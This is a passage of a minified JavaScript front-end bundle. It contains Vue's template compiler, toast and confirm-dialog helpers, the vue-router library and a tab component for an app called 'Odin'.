a;let{key:i,value:l}=a.props[0];const{keyModifiers:o,nonKeyModifiers:r,eventOptionModifiers:c}=Wk(i,n,s,e.loc);if(r.includes("right")&&(i=wf(i,"onContextmenu")),r.includes("middle")&&(i=wf(i,"onMouseup")),r.length&&(l=ns(s.helper(pg),[l,JSON.stringify(r)])),o.length&&(!js(i)||gg(i.content.toLowerCase()))&&(l=ns(s.helper(fg),[l,JSON.stringify(o)])),c.length){const d=c.map(ri).join("");i=js(i)?tt(`${i.content}${d}`,!0):va(["(",i,`) + "${d}"`])}return{props:[Yt(i,l)]}}),Jk=(e,t,s)=>{const{exp:a,loc:n}=e;return a||s.onError(Ln(62,n)),{props:[],needRuntime:s.helper(mg)}},Zk=(e,t)=>{e.type===1&&e.tagType===0&&(e.tag==="script"||e.tag==="style")&&t.removeNode()},Qk=[Bk],Yk={cloak:Pk,html:zk,text:Hk,model:jk,on:Kk,show:Jk};function Xk(e,t={}){return Dk(e,lt({},Fk,t,{nodeTransforms:[Zk,...Qk,...t.nodeTransforms||[]],directiveTransforms:lt({},Yk,t.directiveTransforms||{}),transformHoist:null}))}/** -* vue v3.5.38 -* (c) 2018-present Yuxi (Evan) You and Vue contributors -* @license MIT -**/const kf=Object.create(null);function eS(e,t){if(!Ze(e))if(e.nodeType)e=e.innerHTML;else return vs;const s=hy(e,t),a=kf[s];if(a)return a;if(e[0]==="#"){const o=document.querySelector(e);e=o?o.innerHTML:""}const n=lt({hoistStatic:!0,onError:void 0,onWarn:vs},t);!n.isCustomElement&&typeof customElements<"u"&&(n.isCustomElement=o=>!!customElements.get(o));const{code:i}=Xk(e,n),l=new Function("Vue",i)(ow);return l._rc=!0,kf[s]=l}eh(eS);const Mr=Mn({items:[]});let tS=1;function rc(e,t="info",s=3e3){const a=tS++;return Mr.items.push({id:a,message:String(e),type:t}),s>0&&setTimeout(()=>zu(a),s),a}function zu(e){const t=Mr.items.findIndex(s=>s.id===e);t>=0&&Mr.items.splice(t,1)}function Se(e,t="info",s=3e3){return rc(e,t,s)}Se.success=(e,t=3e3)=>rc(e,"success",t);Se.error=(e,t=5e3)=>rc(e,"error",t);Se.info=(e,t=3e3)=>rc(e,"info",t);Se.dismiss=zu;const sS={setup(){return{state:Mr,dismiss:zu}},template:` -
- -
- - {{ t.message }} -
-
-
- `},Ka=Mn({open:!1,title:"Confirm",message:"",confirmLabel:"Confirm",cancelLabel:"Cancel",danger:!1});let Ui=null;function is({title:e="Confirm",message:t="",confirmLabel:s="Confirm",cancelLabel:a="Cancel",danger:n=!1}={}){return Ui&&Ui(!1),Ka.title=e,Ka.message=t,Ka.confirmLabel=s,Ka.cancelLabel=a,Ka.danger=n,Ka.open=!0,new Promise(i=>{Ui=i})}function Sf(e){Ka.open=!1,Ui&&(Ui(e),Ui=null)}const aS={setup(){function e(t){Ka.open&&t.key==="Escape"&&(t.stopPropagation(),Sf(!1))}return st(()=>document.addEventListener("keydown",e,!0)),wt(()=>document.removeEventListener("keydown",e,!0)),{state:Ka,settle:Sf}},template:` - - - - `};/*! - * vue-router v4.6.4 - * (c) 2025 Eduardo San Martin Morote - * @license MIT - */const Ei=typeof document<"u";function bg(e){return typeof e=="object"||"displayName"in e||"props"in e||"__vccOpts"in e}function nS(e){return e.__esModule||e[Symbol.toStringTag]==="Module"||e.default&&bg(e.default)}const xt=Object.assign;function jc(e,t){const s={};for(const a in t){const n=t[a];s[a]=ga(n)?n.map(e):e(n)}return s}const Fl=()=>{},ga=Array.isArray;function Cf(e,t){const s={};for(const a in e)s[a]=a in t?t[a]:e[a];return s}const yg=/#/g,iS=/&/g,lS=/\//g,oS=/=/g,rS=/\?/g,xg=/\+/g,cS=/%5B/g,dS=/%5D/g,_g=/%5E/g,uS=/%60/g,wg=/%7B/g,pS=/%7C/g,kg=/%7D/g,fS=/%20/g;function Hu(e){return e==null?"":encodeURI(""+e).replace(pS,"|").replace(cS,"[").replace(dS,"]")}function mS(e){return Hu(e).replace(wg,"{").replace(kg,"}").replace(_g,"^")}function Id(e){return Hu(e).replace(xg,"%2B").replace(fS,"+").replace(yg,"%23").replace(iS,"%26").replace(uS,"`").replace(wg,"{").replace(kg,"}").replace(_g,"^")}function vS(e){return Id(e).replace(oS,"%3D")}function hS(e){return Hu(e).replace(yg,"%23").replace(rS,"%3F")}function gS(e){return hS(e).replace(lS,"%2F")}function no(e){if(e==null)return null;try{return decodeURIComponent(""+e)}catch{}return""+e}const bS=/\/$/,yS=e=>e.replace(bS,"");function qc(e,t,s="/"){let a,n={},i="",l="";const o=t.indexOf("#");let r=t.indexOf("?");return r=o>=0&&r>o?-1:r,r>=0&&(a=t.slice(0,r),i=t.slice(r,o>0?o:t.length),n=e(i.slice(1))),o>=0&&(a=a||t.slice(0,o),l=t.slice(o,t.length)),a=kS(a??t,s),{fullPath:a+i+l,path:a,query:n,hash:no(l)}}function xS(e,t){const s=t.query?e(t.query):"";return t.path+(s&&"?")+s+(t.hash||"")}function Tf(e,t){return!t||!e.toLowerCase().startsWith(t.toLowerCase())?e:e.slice(t.length)||"/"}function _S(e,t,s){const a=t.matched.length-1,n=s.matched.length-1;return a>-1&&a===n&&Qi(t.matched[a],s.matched[n])&&Sg(t.params,s.params)&&e(t.query)===e(s.query)&&t.hash===s.hash}function Qi(e,t){return(e.aliasOf||e)===(t.aliasOf||t)}function Sg(e,t){if(Object.keys(e).length!==Object.keys(t).length)return!1;for(var s in e)if(!wS(e[s],t[s]))return!1;return!0}function wS(e,t){return ga(e)?Ef(e,t):ga(t)?Ef(t,e):(e==null?void 0:e.valueOf())===(t==null?void 0:t.valueOf())}function Ef(e,t){return ga(t)?e.length===t.length&&e.every((s,a)=>s===t[a]):e.length===1&&e[0]===t}function kS(e,t){if(e.startsWith("/"))return e;if(!e)return t;const s=t.split("/"),a=e.split("/"),n=a[a.length-1];(n===".."||n===".")&&a.push("");let i=s.length-1,l,o;for(l=0;l1&&i--;else break;return s.slice(0,i).join("/")+"/"+a.slice(l).join("/")}const kn={path:"/",name:void 0,params:{},query:{},hash:"",fullPath:"/",matched:[],meta:{},redirectedFrom:void 0};let Od=(function(e){return e.pop="pop",e.push="push",e})({}),Vc=(function(e){return e.back="back",e.forward="forward",e.unknown="",e})({});function SS(e){if(!e)if(Ei){const t=document.querySelector("base");e=t&&t.getAttribute("href")||"/",e=e.replace(/^\w+:\/\/[^\/]+/,"")}else e="/";return e[0]!=="/"&&e[0]!=="#"&&(e="/"+e),yS(e)}const CS=/^[^#]+#/;function TS(e,t){return e.replace(CS,"#")+t}function ES(e,t){const s=document.documentElement.getBoundingClientRect(),a=e.getBoundingClientRect();return{behavior:t.behavior,left:a.left-s.left-(t.left||0),top:a.top-s.top-(t.top||0)}}const cc=()=>({left:window.scrollX,top:window.scrollY});function AS(e){let t;if("el"in e){const s=e.el,a=typeof s=="string"&&s.startsWith("#"),n=typeof s=="string"?a?document.getElementById(s.slice(1)):document.querySelector(s):s;if(!n)return;t=ES(n,e)}else t=e;"scrollBehavior"in document.documentElement.style?window.scrollTo(t):window.scrollTo(t.left!=null?t.left:window.scrollX,t.top!=null?t.top:window.scrollY)}function Af(e,t){return(history.state?history.state.position-t:-1)+e}const Ld=new Map;function RS(e,t){Ld.set(e,t)}function IS(e){const t=Ld.get(e);return Ld.delete(e),t}function OS(e){return typeof e=="string"||e&&typeof e=="object"}function Cg(e){return typeof e=="string"||typeof e=="symbol"}let qt=(function(e){return e[e.MATCHER_NOT_FOUND=1]="MATCHER_NOT_FOUND",e[e.NAVIGATION_GUARD_REDIRECT=2]="NAVIGATION_GUARD_REDIRECT",e[e.NAVIGATION_ABORTED=4]="NAVIGATION_ABORTED",e[e.NAVIGATION_CANCELLED=8]="NAVIGATION_CANCELLED",e[e.NAVIGATION_DUPLICATED=16]="NAVIGATION_DUPLICATED",e})({});const Tg=Symbol("");qt.MATCHER_NOT_FOUND+"",qt.NAVIGATION_GUARD_REDIRECT+"",qt.NAVIGATION_ABORTED+"",qt.NAVIGATION_CANCELLED+"",qt.NAVIGATION_DUPLICATED+"";function Yi(e,t){return xt(new Error,{type:e,[Tg]:!0},t)}function ja(e,t){return e instanceof Error&&Tg in e&&(t==null||!!(e.type&t))}const LS=["params","query","hash"];function NS(e){if(typeof e=="string")return e;if(e.path!=null)return e.path;const t={};for(const s of LS)s in e&&(t[s]=e[s]);return JSON.stringify(t,null,2)}function MS(e){const t={};if(e===""||e==="?")return t;const s=(e[0]==="?"?e.slice(1):e).split("&");for(let a=0;an&&Id(n)):[a&&Id(a)]).forEach(n=>{n!==void 0&&(t+=(t.length?"&":"")+s,n!=null&&(t+="="+n))})}return t}function DS(e){const t={};for(const s in e){const a=e[s];a!==void 0&&(t[s]=ga(a)?a.map(n=>n==null?null:""+n):a==null?a:""+a)}return t}const PS=Symbol(""),If=Symbol(""),dc=Symbol(""),ju=Symbol(""),Nd=Symbol("");function hl(){let e=[];function t(a){return e.push(a),()=>{const n=e.indexOf(a);n>-1&&e.splice(n,1)}}function s(){e=[]}return{add:t,list:()=>e.slice(),reset:s}}function Rn(e,t,s,a,n,i=l=>l()){const l=a&&(a.enterCallbacks[n]=a.enterCallbacks[n]||[]);return()=>new Promise((o,r)=>{const c=p=>{p===!1?r(Yi(qt.NAVIGATION_ABORTED,{from:s,to:t})):p instanceof Error?r(p):OS(p)?r(Yi(qt.NAVIGATION_GUARD_REDIRECT,{from:t,to:p})):(l&&a.enterCallbacks[n]===l&&typeof p=="function"&&l.push(p),o())},d=i(()=>e.call(a&&a.instances[n],t,s,c));let u=Promise.resolve(d);e.length<3&&(u=u.then(c)),u.catch(p=>r(p))})}function Gc(e,t,s,a,n=i=>i()){const i=[];for(const l of e)for(const o in l.components){let r=l.components[o];if(!(t!=="beforeRouteEnter"&&!l.instances[o]))if(bg(r)){const c=(r.__vccOpts||r)[t];c&&i.push(Rn(c,s,a,l,o,n))}else{let c=r();i.push(()=>c.then(d=>{if(!d)throw new Error(`Couldn't resolve component "${o}" at "${l.path}"`);const u=nS(d)?d.default:d;l.mods[o]=d,l.components[o]=u;const p=(u.__vccOpts||u)[t];return p&&Rn(p,s,a,l,o,n)()}))}}return i}function $S(e,t){const s=[],a=[],n=[],i=Math.max(t.matched.length,e.matched.length);for(let l=0;lQi(c,o))?a.push(o):s.push(o));const r=e.matched[l];r&&(t.matched.find(c=>Qi(c,r))||n.push(r))}return[s,a,n]}/*! - * vue-router v4.6.4 - * (c) 2025 Eduardo San Martin Morote - * @license MIT - */let FS=()=>location.protocol+"//"+location.host;function Eg(e,t){const{pathname:s,search:a,hash:n}=t,i=e.indexOf("#");if(i>-1){let l=n.includes(e.slice(i))?e.slice(i).length:1,o=n.slice(l);return o[0]!=="/"&&(o="/"+o),Tf(o,"")}return Tf(s,e)+a+n}function BS(e,t,s,a){let n=[],i=[],l=null;const o=({state:p})=>{const m=Eg(e,location),h=s.value,y=t.value;let k=0;if(p){if(s.value=m,t.value=p,l&&l===h){l=null;return}k=y?p.position-y.position:0}else a(m);n.forEach(A=>{A(s.value,h,{delta:k,type:Od.pop,direction:k?k>0?Vc.forward:Vc.back:Vc.unknown})})};function r(){l=s.value}function c(p){n.push(p);const m=()=>{const h=n.indexOf(p);h>-1&&n.splice(h,1)};return i.push(m),m}function d(){if(document.visibilityState==="hidden"){const{history:p}=window;if(!p.state)return;p.replaceState(xt({},p.state,{scroll:cc()}),"")}}function u(){for(const p of i)p();i=[],window.removeEventListener("popstate",o),window.removeEventListener("pagehide",d),document.removeEventListener("visibilitychange",d)}return window.addEventListener("popstate",o),window.addEventListener("pagehide",d),document.addEventListener("visibilitychange",d),{pauseListeners:r,listen:c,destroy:u}}function Of(e,t,s,a=!1,n=!1){return{back:e,current:t,forward:s,replaced:a,position:window.history.length,scroll:n?cc():null}}function US(e){const{history:t,location:s}=window,a={value:Eg(e,s)},n={value:t.state};n.value||i(a.value,{back:null,current:a.value,forward:null,position:t.length-1,replaced:!0,scroll:null},!0);function i(r,c,d){const u=e.indexOf("#"),p=u>-1?(s.host&&document.querySelector("base")?e:e.slice(u))+r:FS()+e+r;try{t[d?"replaceState":"pushState"](c,"",p),n.value=c}catch(m){console.error(m),s[d?"replace":"assign"](p)}}function l(r,c){i(r,xt({},t.state,Of(n.value.back,r,n.value.forward,!0),c,{position:n.value.position}),!0),a.value=r}function o(r,c){const d=xt({},n.value,t.state,{forward:r,scroll:cc()});i(d.current,d,!0),i(r,xt({},Of(a.value,r,null),{position:d.position+1},c),!1),a.value=r}return{location:a,state:n,push:o,replace:l}}function zS(e){e=SS(e);const t=US(e),s=BS(e,t.state,t.location,t.replace);function a(i,l=!0){l||s.pauseListeners(),history.go(i)}const n=xt({location:"",base:e,go:a,createHref:TS.bind(null,e)},t,s);return Object.defineProperty(n,"location",{enumerable:!0,get:()=>t.location.value}),Object.defineProperty(n,"state",{enumerable:!0,get:()=>t.state.value}),n}function HS(e){return e=location.host?e||location.pathname+location.search:"",e.includes("#")||(e+="#"),zS(e)}let Zn=(function(e){return e[e.Static=0]="Static",e[e.Param=1]="Param",e[e.Group=2]="Group",e})({});var ss=(function(e){return e[e.Static=0]="Static",e[e.Param=1]="Param",e[e.ParamRegExp=2]="ParamRegExp",e[e.ParamRegExpEnd=3]="ParamRegExpEnd",e[e.EscapeNext=4]="EscapeNext",e})(ss||{});const jS={type:Zn.Static,value:""},qS=/[a-zA-Z0-9_]/;function VS(e){if(!e)return[[]];if(e==="/")return[[jS]];if(!e.startsWith("/"))throw new Error(`Invalid path "${e}"`);function t(m){throw new Error(`ERR (${s})/"${c}": ${m}`)}let s=ss.Static,a=s;const n=[];let i;function l(){i&&n.push(i),i=[]}let o=0,r,c="",d="";function u(){c&&(s===ss.Static?i.push({type:Zn.Static,value:c}):s===ss.Param||s===ss.ParamRegExp||s===ss.ParamRegExpEnd?(i.length>1&&(r==="*"||r==="+")&&t(`A repeatable param (${c}) must be alone in its segment. eg: '/:ids+.`),i.push({type:Zn.Param,value:c,regexp:d,repeatable:r==="*"||r==="+",optional:r==="*"||r==="?"})):t("Invalid state to consume buffer"),c="")}function p(){c+=r}for(;ot.length?t.length===1&&t[0]===Ls.Static+Ls.Segment?1:-1:0}function Ag(e,t){let s=0;const a=e.score,n=t.score;for(;s0&&t[t.length-1]<0}const ZS={strict:!1,end:!0,sensitive:!1};function QS(e,t,s){const a=KS(VS(e.path),s),n=xt(a,{record:e,parent:t,children:[],alias:[]});return t&&!n.record.aliasOf==!t.record.aliasOf&&t.children.push(n),n}function YS(e,t){const s=[],a=new Map;t=Cf(ZS,t);function n(u){return a.get(u)}function i(u,p,m){const h=!m,y=Df(u);y.aliasOf=m&&m.record;const k=Cf(t,u),A=[y];if("alias"in u){const x=typeof u.alias=="string"?[u.alias]:u.alias;for(const w of x)A.push(Df(xt({},y,{components:m?m.record.components:y.components,path:w,aliasOf:m?m.record:y})))}let g,b;for(const x of A){const{path:w}=x;if(p&&w[0]!=="/"){const _=p.record.path,T=_[_.length-1]==="/"?"":"/";x.path=p.record.path+(w&&T+w)}if(g=QS(x,p,k),m?m.alias.push(g):(b=b||g,b!==g&&b.alias.push(g),h&&u.name&&!Pf(g)&&l(u.name)),Rg(g)&&r(g),y.children){const _=y.children;for(let T=0;T<_.length;T++)i(_[T],g,m&&m.children[T])}m=m||g}return b?()=>{l(b)}:Fl}function l(u){if(Cg(u)){const p=a.get(u);p&&(a.delete(u),s.splice(s.indexOf(p),1),p.children.forEach(l),p.alias.forEach(l))}else{const p=s.indexOf(u);p>-1&&(s.splice(p,1),u.record.name&&a.delete(u.record.name),u.children.forEach(l),u.alias.forEach(l))}}function o(){return s}function r(u){const p=t1(u,s);s.splice(p,0,u),u.record.name&&!Pf(u)&&a.set(u.record.name,u)}function c(u,p){let m,h={},y,k;if("name"in u&&u.name){if(m=a.get(u.name),!m)throw Yi(qt.MATCHER_NOT_FOUND,{location:u});k=m.record.name,h=xt(Mf(p.params,m.keys.filter(b=>!b.optional).concat(m.parent?m.parent.keys.filter(b=>b.optional):[]).map(b=>b.name)),u.params&&Mf(u.params,m.keys.map(b=>b.name))),y=m.stringify(h)}else if(u.path!=null)y=u.path,m=s.find(b=>b.re.test(y)),m&&(h=m.parse(y),k=m.record.name);else{if(m=p.name?a.get(p.name):s.find(b=>b.re.test(p.path)),!m)throw Yi(qt.MATCHER_NOT_FOUND,{location:u,currentLocation:p});k=m.record.name,h=xt({},p.params,u.params),y=m.stringify(h)}const A=[];let g=m;for(;g;)A.unshift(g.record),g=g.parent;return{name:k,path:y,params:h,matched:A,meta:e1(A)}}e.forEach(u=>i(u));function d(){s.length=0,a.clear()}return{addRoute:i,resolve:c,removeRoute:l,clearRoutes:d,getRoutes:o,getRecordMatcher:n}}function Mf(e,t){const s={};for(const a of t)a in e&&(s[a]=e[a]);return s}function Df(e){const t={path:e.path,redirect:e.redirect,name:e.name,meta:e.meta||{},aliasOf:e.aliasOf,beforeEnter:e.beforeEnter,props:XS(e),children:e.children||[],instances:{},leaveGuards:new Set,updateGuards:new Set,enterCallbacks:{},components:"components"in e?e.components||null:e.component&&{default:e.component}};return Object.defineProperty(t,"mods",{value:{}}),t}function XS(e){const t={},s=e.props||!1;if("component"in e)t.default=s;else for(const a in e.components)t[a]=typeof s=="object"?s[a]:s;return t}function Pf(e){for(;e;){if(e.record.aliasOf)return!0;e=e.parent}return!1}function e1(e){return e.reduce((t,s)=>xt(t,s.meta),{})}function t1(e,t){let s=0,a=t.length;for(;s!==a;){const i=s+a>>1;Ag(e,t[i])<0?a=i:s=i+1}const n=s1(e);return n&&(a=t.lastIndexOf(n,a-1)),a}function s1(e){let t=e;for(;t=t.parent;)if(Rg(t)&&Ag(e,t)===0)return t}function Rg({record:e}){return!!(e.name||e.components&&Object.keys(e.components).length||e.redirect)}function $f(e){const t=ra(dc),s=ra(ju),a=B(()=>{const r=La(e.to);return t.resolve(r)}),n=B(()=>{const{matched:r}=a.value,{length:c}=r,d=r[c-1],u=s.matched;if(!d||!u.length)return-1;const p=u.findIndex(Qi.bind(null,d));if(p>-1)return p;const m=Ff(r[c-2]);return c>1&&Ff(d)===m&&u[u.length-1].path!==m?u.findIndex(Qi.bind(null,r[c-2])):p}),i=B(()=>n.value>-1&&o1(s.params,a.value.params)),l=B(()=>n.value>-1&&n.value===s.matched.length-1&&Sg(s.params,a.value.params));function o(r={}){if(l1(r)){const c=t[La(e.replace)?"replace":"push"](La(e.to)).catch(Fl);return e.viewTransition&&typeof document<"u"&&"startViewTransition"in document&&document.startViewTransition(()=>c),c}return Promise.resolve()}return{route:a,href:B(()=>a.value.href),isActive:i,isExactActive:l,navigate:o}}function a1(e){return e.length===1?e[0]:e}const n1=fo({name:"RouterLink",compatConfig:{MODE:3},props:{to:{type:[String,Object],required:!0},replace:Boolean,activeClass:String,exactActiveClass:String,custom:Boolean,ariaCurrentValue:{type:String,default:"page"},viewTransition:Boolean},useLink:$f,setup(e,{slots:t}){const s=Mn($f(e)),{options:a}=ra(dc),n=B(()=>({[Bf(e.activeClass,a.linkActiveClass,"router-link-active")]:s.isActive,[Bf(e.exactActiveClass,a.linkExactActiveClass,"router-link-exact-active")]:s.isExactActive}));return()=>{const i=t.default&&a1(t.default(s));return e.custom?i:qi("a",{"aria-current":s.isExactActive?e.ariaCurrentValue:null,href:s.href,onClick:s.navigate,class:n.value},i)}}}),i1=n1;function l1(e){if(!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)&&!e.defaultPrevented&&!(e.button!==void 0&&e.button!==0)){if(e.currentTarget&&e.currentTarget.getAttribute){const t=e.currentTarget.getAttribute("target");if(/\b_blank\b/i.test(t))return}return e.preventDefault&&e.preventDefault(),!0}}function o1(e,t){for(const s in t){const a=t[s],n=e[s];if(typeof a=="string"){if(a!==n)return!1}else if(!ga(n)||n.length!==a.length||a.some((i,l)=>i.valueOf()!==n[l].valueOf()))return!1}return!0}function Ff(e){return e?e.aliasOf?e.aliasOf.path:e.path:""}const Bf=(e,t,s)=>e??t??s,r1=fo({name:"RouterView",inheritAttrs:!1,props:{name:{type:String,default:"default"},route:Object},compatConfig:{MODE:3},setup(e,{attrs:t,slots:s}){const a=ra(Nd),n=B(()=>e.route||a.value),i=ra(If,0),l=B(()=>{let c=La(i);const{matched:d}=n.value;let u;for(;(u=d[c])&&!u.components;)c++;return c}),o=B(()=>n.value.matched[l.value]);Nl(If,B(()=>l.value+1)),Nl(PS,o),Nl(Nd,n);const r=f();return Gt(()=>[r.value,o.value,e.name],([c,d,u],[p,m,h])=>{d&&(d.instances[u]=c,m&&m!==d&&c&&c===p&&(d.leaveGuards.size||(d.leaveGuards=m.leaveGuards),d.updateGuards.size||(d.updateGuards=m.updateGuards))),c&&d&&(!m||!Qi(d,m)||!p)&&(d.enterCallbacks[u]||[]).forEach(y=>y(c))},{flush:"post"}),()=>{const c=n.value,d=e.name,u=o.value,p=u&&u.components[d];if(!p)return Uf(s.default,{Component:p,route:c});const m=u.props[d],h=m?m===!0?c.params:typeof m=="function"?m(c):m:null,k=qi(p,xt({},h,t,{onVnodeUnmounted:A=>{A.component.isUnmounted&&(u.instances[d]=null)},ref:r}));return Uf(s.default,{Component:k,route:c})||k}}});function Uf(e,t){if(!e)return null;const s=e(t);return s.length===1?s[0]:s}const c1=r1;function d1(e){const t=YS(e.routes,e),s=e.parseQuery||MS,a=e.stringifyQuery||Rf,n=e.history,i=hl(),l=hl(),o=hl(),r=Xd(kn);let c=kn;Ei&&e.scrollBehavior&&"scrollRestoration"in history&&(history.scrollRestoration="manual");const d=jc.bind(null,le=>""+le),u=jc.bind(null,gS),p=jc.bind(null,no);function m(le,oe){let ve,j;return Cg(le)?(ve=t.getRecordMatcher(le),j=oe):j=le,t.addRoute(j,ve)}function h(le){const oe=t.getRecordMatcher(le);oe&&t.removeRoute(oe)}function y(){return t.getRoutes().map(le=>le.record)}function k(le){return!!t.getRecordMatcher(le)}function A(le,oe){if(oe=xt({},oe||r.value),typeof le=="string"){const P=qc(s,le,oe.path),G=t.resolve({path:P.path},oe),he=n.createHref(P.fullPath);return xt(P,G,{params:p(G.params),hash:no(P.hash),redirectedFrom:void 0,href:he})}let ve;if(le.path!=null)ve=xt({},le,{path:qc(s,le.path,oe.path).path});else{const P=xt({},le.params);for(const G in P)P[G]==null&&delete P[G];ve=xt({},le,{params:u(P)}),oe.params=u(oe.params)}const j=t.resolve(ve,oe),Y=le.hash||"";j.params=d(p(j.params));const xe=xS(a,xt({},le,{hash:mS(Y),path:j.path})),S=n.createHref(xe);return xt({fullPath:xe,hash:Y,query:a===Rf?DS(le.query):le.query||{}},j,{redirectedFrom:void 0,href:S})}function g(le){return typeof le=="string"?qc(s,le,r.value.path):xt({},le)}function b(le,oe){if(c!==le)return Yi(qt.NAVIGATION_CANCELLED,{from:oe,to:le})}function x(le){return T(le)}function w(le){return x(xt(g(le),{replace:!0}))}function _(le,oe){const ve=le.matched[le.matched.length-1];if(ve&&ve.redirect){const{redirect:j}=ve;let Y=typeof j=="function"?j(le,oe):j;return typeof Y=="string"&&(Y=Y.includes("?")||Y.includes("#")?Y=g(Y):{path:Y},Y.params={}),xt({query:le.query,hash:le.hash,params:Y.path!=null?{}:le.params},Y)}}function T(le,oe){const ve=c=A(le),j=r.value,Y=le.state,xe=le.force,S=le.replace===!0,P=_(ve,j);if(P)return T(xt(g(P),{state:typeof P=="object"?xt({},Y,P.state):Y,force:xe,replace:S}),oe||ve);const G=ve;G.redirectedFrom=oe;let he;return!xe&&_S(a,j,ve)&&(he=Yi(qt.NAVIGATION_DUPLICATED,{to:G,from:j}),Z(j,j,!0,!1)),(he?Promise.resolve(he):F(G,j)).catch(fe=>ja(fe)?ja(fe,qt.NAVIGATION_GUARD_REDIRECT)?fe:ce(fe):$(fe,G,j)).then(fe=>{if(fe){if(ja(fe,qt.NAVIGATION_GUARD_REDIRECT))return T(xt({replace:S},g(fe.to),{state:typeof fe.to=="object"?xt({},Y,fe.to.state):Y,force:xe}),oe||G)}else fe=I(G,j,!0,S,Y);return O(G,j,fe),fe})}function L(le,oe){const ve=b(le,oe);return ve?Promise.reject(ve):Promise.resolve()}function E(le){const oe=V.values().next().value;return oe&&typeof oe.runWithContext=="function"?oe.runWithContext(le):le()}function F(le,oe){let ve;const[j,Y,xe]=$S(le,oe);ve=Gc(j.reverse(),"beforeRouteLeave",le,oe);for(const P of j)P.leaveGuards.forEach(G=>{ve.push(Rn(G,le,oe))});const S=L.bind(null,le,oe);return ve.push(S),Oe(ve).then(()=>{ve=[];for(const P of i.list())ve.push(Rn(P,le,oe));return ve.push(S),Oe(ve)}).then(()=>{ve=Gc(Y,"beforeRouteUpdate",le,oe);for(const P of Y)P.updateGuards.forEach(G=>{ve.push(Rn(G,le,oe))});return ve.push(S),Oe(ve)}).then(()=>{ve=[];for(const P of xe)if(P.beforeEnter)if(ga(P.beforeEnter))for(const G of P.beforeEnter)ve.push(Rn(G,le,oe));else ve.push(Rn(P.beforeEnter,le,oe));return ve.push(S),Oe(ve)}).then(()=>(le.matched.forEach(P=>P.enterCallbacks={}),ve=Gc(xe,"beforeRouteEnter",le,oe,E),ve.push(S),Oe(ve))).then(()=>{ve=[];for(const P of l.list())ve.push(Rn(P,le,oe));return ve.push(S),Oe(ve)}).catch(P=>ja(P,qt.NAVIGATION_CANCELLED)?P:Promise.reject(P))}function O(le,oe,ve){o.list().forEach(j=>E(()=>j(le,oe,ve)))}function I(le,oe,ve,j,Y){const xe=b(le,oe);if(xe)return xe;const S=oe===kn,P=Ei?history.state:{};ve&&(j||S?n.replace(le.fullPath,xt({scroll:S&&P&&P.scroll},Y)):n.push(le.fullPath,Y)),r.value=le,Z(le,oe,ve,S),ce()}let H;function te(){H||(H=n.listen((le,oe,ve)=>{if(!be.listening)return;const j=A(le),Y=_(j,be.currentRoute.value);if(Y){T(xt(Y,{replace:!0,force:!0}),j).catch(Fl);return}c=j;const xe=r.value;Ei&&RS(Af(xe.fullPath,ve.delta),cc()),F(j,xe).catch(S=>ja(S,qt.NAVIGATION_ABORTED|qt.NAVIGATION_CANCELLED)?S:ja(S,qt.NAVIGATION_GUARD_REDIRECT)?(T(xt(g(S.to),{force:!0}),j).then(P=>{ja(P,qt.NAVIGATION_ABORTED|qt.NAVIGATION_DUPLICATED)&&!ve.delta&&ve.type===Od.pop&&n.go(-1,!1)}).catch(Fl),Promise.reject()):(ve.delta&&n.go(-ve.delta,!1),$(S,j,xe))).then(S=>{S=S||I(j,xe,!1),S&&(ve.delta&&!ja(S,qt.NAVIGATION_CANCELLED)?n.go(-ve.delta,!1):ve.type===Od.pop&&ja(S,qt.NAVIGATION_ABORTED|qt.NAVIGATION_DUPLICATED)&&n.go(-1,!1)),O(j,xe,S)}).catch(Fl)}))}let ee=hl(),N=hl(),M;function $(le,oe,ve){ce(le);const j=N.list();return j.length?j.forEach(Y=>Y(le,oe,ve)):console.error(le),Promise.reject(le)}function re(){return M&&r.value!==kn?Promise.resolve():new Promise((le,oe)=>{ee.add([le,oe])})}function ce(le){return M||(M=!le,te(),ee.list().forEach(([oe,ve])=>le?ve(le):oe()),ee.reset()),le}function Z(le,oe,ve,j){const{scrollBehavior:Y}=e;if(!Ei||!Y)return Promise.resolve();const xe=!ve&&IS(Af(le.fullPath,0))||(j||!ve)&&history.state&&history.state.scroll||null;return Ut().then(()=>Y(le,oe,xe)).then(S=>S&&AS(S)).catch(S=>$(S,le,oe))}const Q=le=>n.go(le);let ae;const V=new Set,be={currentRoute:r,listening:!0,addRoute:m,removeRoute:h,clearRoutes:t.clearRoutes,hasRoute:k,getRoutes:y,resolve:A,options:e,push:x,replace:w,go:Q,back:()=>Q(-1),forward:()=>Q(1),beforeEach:i.add,beforeResolve:l.add,afterEach:o.add,onError:N.add,isReady:re,install(le){le.component("RouterLink",i1),le.component("RouterView",c1),le.config.globalProperties.$router=be,Object.defineProperty(le.config.globalProperties,"$route",{enumerable:!0,get:()=>La(r)}),Ei&&!ae&&r.value===kn&&(ae=!0,x(n.location).catch(j=>{}));const oe={};for(const j in kn)Object.defineProperty(oe,j,{get:()=>r.value[j],enumerable:!0});le.provide(dc,be),le.provide(ju,Yd(oe)),le.provide(Nd,r);const ve=le.unmount;V.add(le),le.unmount=function(){V.delete(le),V.size<1&&(c=kn,H&&H(),H=null,r.value=kn,ae=!1,M=!1),ve()}}};function Oe(le){return le.reduce((oe,ve)=>oe.then(()=>E(ve)),Promise.resolve())}return be}function Ig(){return ra(dc)}function u1(e){return ra(ju)}const uc={props:{tabs:{type:Array,required:!0},defaultTab:{type:String,default:""},groupLabel:{type:String,default:""}},setup(e){const t=u1(),s=Ig(),a=B({get(){var r;const o=t.query.tab;return o&&e.tabs.some(c=>c.id===o)?o:e.defaultTab||((r=e.tabs[0])==null?void 0:r.id)||""},set(o){s.replace({query:{...t.query,tab:o}})}}),n=B(()=>{var o;return((o=e.tabs.find(r=>r.id===a.value))==null?void 0:o.component)||null}),i=B(()=>{var o;return((o=e.tabs.find(r=>r.id===a.value))==null?void 0:o.label)||""});Gt(i,o=>{e.groupLabel&&o&&(document.title=`Odin — ${e.groupLabel} › ${o}`)},{immediate:!0});function l(o,r){if(!["ArrowLeft","ArrowRight","Home","End"].includes(o.key))return;o.preventDefault();let c=r;o.key==="ArrowRight"&&(c=(r+1)%e.tabs.length),o.key==="ArrowLeft"&&(c=(r-1+e.tabs.length)%e.tabs.length),o.key==="Home"&&(c=0),o.key==="End"&&(c=e.tabs.length-1),a.value=e.tabs[c].id,requestAnimationFrame(()=>{var d;return(d=document.getElementById("tab-"+e.tabs[c].id))==null?void 0:d.focus()})}return{activeTab:a,activeComponent:n,activeLabel:i,onTabKeydown:l}},template:` -
-
-
- -
-
-
- -
-
